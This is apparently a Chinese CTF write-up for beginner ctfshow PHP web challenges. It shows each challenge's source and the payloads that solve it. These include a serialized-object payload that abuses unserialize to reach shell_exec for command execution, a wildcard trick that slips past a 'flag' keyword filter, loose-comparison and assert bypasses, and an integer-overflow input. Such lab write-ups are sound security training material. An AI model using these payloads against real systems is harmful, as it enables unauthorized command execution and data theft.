一些菜狗杯web题目的wp,好久之前做的了,比较基础的题目,但一道题一个小知识点刷起来很爽(
WebShell
代码批注
<?php
error_reporting(0);
class Webshell { //
public $cmd = 'echo "Hello World!"'; //创建变量 cmd
public function __construct() { //魔术方法 实例化触发
$this->init(); //把 init 当作函数调用
}
public function init() { //定义函数 init
if (!preg_match('/flag/i', $this->cmd)) { //正则,如果变量 cmd 没有 flag 关键字
$this->exec($this->cmd); //就执行exec()
}
}
public function exec($cmd) { //exec()方法
$result = shell_exec($cmd); //shell_exec(),完整回显
echo $result; //显示result
}
}
if(isset($_GET['cmd'])) { //get传参cmd
$serializecmd = $_GET['cmd']; //变量“序列化的cmd”是cmd的值
$unserializecmd = unserialize($serializecmd); //变量“反序列化的cmd”是反序列化的cmd
$unserializecmd->init(); //反序列化之后的cmd,去调用它的init()
}
else {
highlight_file(__FILE__);
}
?>
分析1
- 代码最后部分可知,需要传参 cmd ,且是序列化后的数据,经过反序列化触发反序列化漏洞攻击,达成任意指令执行
- 重点部分为 init() ,这里需要 cmd 的值没有 flag 关键字,指令里面不能直接含有 flag 关键字
构造payload1
<?php
class Webshell{
public $cmd;
}
$exp=new Webshell();
$exp->cmd='ls';
echo serialize($exp);
运行得到 O:8:”Webshell”:1:{s:3:”cmd”;s:2:”ls”;}
分析2
- 上述结果进行传参得到结果,靶机含有 flag.php index.php 两个文件
- 但由上面审计可知,指令不能含有 flag ,这里用模糊匹配
构造payload2
<?php
class Webshell{
public $cmd;
}
$exp=new Webshell();
$exp->cmd='tac f*';
echo serialize($exp);
得到结果
$flag = ‘ctfshow{9e0780f8-8fe3-40ea-807e-61ca0d32eeea}’; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-04 00:14:17 # @Last Modified by: h1xa # @Date: 2020-09-04 00:14:07 # @Author: h1xa # -*- coding: utf-8 -*- /*
这里只能用 tac 倒序输出,显示最后一行才能成,cat 却不可以,原因不明(
一言既出
代码批注
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
分析
没啥可分析的,弱比较绕过 让 num 是 114514/114514*1919810
驷马难追
代码批注
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){ //调用下面的正则,并弱比较num是否等于114514
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str); //正则匹配是否有 a-z ; ( ) ,并返回相反布尔值
}
分析
没啥可分析的,弱比较绕过就完事了 直接故技重施
化零为整
代码批注
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){ //遍历所有传参
if (strlen($_GET[$i])>1){ //检验字符串长度是否为1
die("你太长了!!");
}
else{
$result=$result.$_GET[$i]; //拼接字符串
}
}
if ($result ==="大牛"){
echo $flag;
}
分析
- 要$result 的值为 大牛 才能出 flag
- result 的值经过上面代码的拼接而成,因此要把大牛的url编码做 payload ,进行字符拼接攻击
- 大牛的 url 编码为 %E5%A4%A7%E7%89%9B ,一个 %xx 为一个字节,因此多变量联合传参,将大牛的url传进去
构造payload
xxxxxx/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免
现平台上题目源码有错误,flag判断放到永真式了
代码批注
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");;
}
else{
die($flag)
}
}
分析
- if 永真式,绕过方法是试图录入超出整型上限的数,/?0=999999999999999999999就行
